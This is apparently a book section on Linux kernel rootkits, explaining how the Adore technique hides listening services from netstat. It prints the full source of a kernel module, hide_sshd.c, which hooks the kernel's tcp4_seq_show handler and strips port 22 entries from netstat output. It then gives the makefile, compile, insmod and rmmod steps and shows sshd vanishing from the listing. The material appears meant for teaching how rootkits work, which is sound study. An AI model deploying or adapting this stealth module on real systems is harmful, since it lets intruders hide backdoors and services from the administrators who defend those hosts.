7.4. Hiding from netstatThe netstat tool lists currently running network services on a host: [notroot]$ netstat -na Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN udp 0 0 0.0.0.0:68 0.0.0.0:* Active UNIX domain sockets (servers and established) Proto RefCnt Flags Type State I-Node Path unix 2 [ ACC ] STREAM LISTENING 2085 /dev/gpmctl unix 6 [ ] DGRAM 1886 /dev/log unix 2 [ ] DGRAM 2153 unix 2 [ ] DGRAM 2088 unix 2 [ ] DGRAM 2046 unix 2 [ ] DGRAM 1894 The Adore rootkit allows you to hide a given set of listening services from a netstat query. It does this by using the exported proc_net structure to change the tcp4_seq_show( ) handler, which is invoked by the kernel when netstat queries for listening connections. Within the hacked_tcp4_seq_show() function in hide_sshd.c, strnstr( ) is used to look in seq->buf for a substring that contains the hex representation of the port it is trying to hide, and if this is found, the string is deleted. 7.4.1. hide_sshd.cFollowing is the full source code of the hide_sshd LKM: /*Thanks to adore-ng from Stealth for the ideas used in this code*/ #include <linux/kernel.h> #include <linux/module.h> #include <linux/proc_fs.h> #include <linux/init.h> #include <net/tcp.h> /*from net/ipv4/tcp_ipv4.c*/ #define TMPSZ 150 /*hide sshd*/ #define PORT_TO_HIDE 22 MODULE_LICENSE("GPL"); int (*old_tcp4_seq_show)(struct seq_file*, void *) = NULL; char *strnstr(const char *haystack, const char *needle, size_t n) { char *s = strstr(haystack, needle); if (s == NULL) return NULL; if (s-haystack+strlen(needle) <= n) return s; else return NULL; } int hacked_tcp4_seq_show(struct seq_file *seq, void *v) { int retval=old_tcp4_seq_show(seq, v); char port[12]; sprintf(port,"%04X",PORT_TO_HIDE); if(strnstr(seq->buf+seq->count-TMPSZ,port,TMPSZ)) seq->count -= TMPSZ; return retval; } static int __init myinit(void) { struct tcp_seq_afinfo *my_afinfo = NULL; struct proc_dir_entry *my_dir_entry = proc_net->subdir; while (strcmp(my_dir_entry->name, "tcp")) my_dir_entry = my_dir_entry->next; if((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data)) { old_tcp4_seq_show = my_afinfo->seq_show; my_afinfo->seq_show = hacked_tcp4_seq_show; } return 0; } static void myexit(void) { struct tcp_seq_afinfo *my_afinfo = NULL; struct proc_dir_entry *my_dir_entry = proc_net->subdir; while (strcmp(my_dir_entry->name, "tcp")) my_dir_entry = my_dir_entry->next; if((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data)) { my_afinfo->seq_show=old_tcp4_seq_show; } } module_init(myinit); module_exit(myexit); 7.4.2. Compiling and Testing hide_sshdThe hide_sshd.c source code assumes we are trying to hide the presence of sshd running on a host. If you want to hide any other service, change the value of PORT_TO_HIDE. For the purposes of this section, we assume that sshd is running on the host. Make sure by running netstat: [notroot]$ netstat -na | grep 22 tcp 0 0.0.0.0:22 0.0.0.0:* LISTEN Use the following makefile: obj-m += hide_sshd.o Compile using the following make command: [notroot]$ make -C /usr/src/linux-`uname -r` SUBDIRS=$PWD modules Insert the module: [root]# insmod ./hide_sshd.ko Now sshd will not be visible. Try the netstat query again: [notroot]# netstat -na | grep 22 Unload the module when done: [root]# rmmod hide_sshd |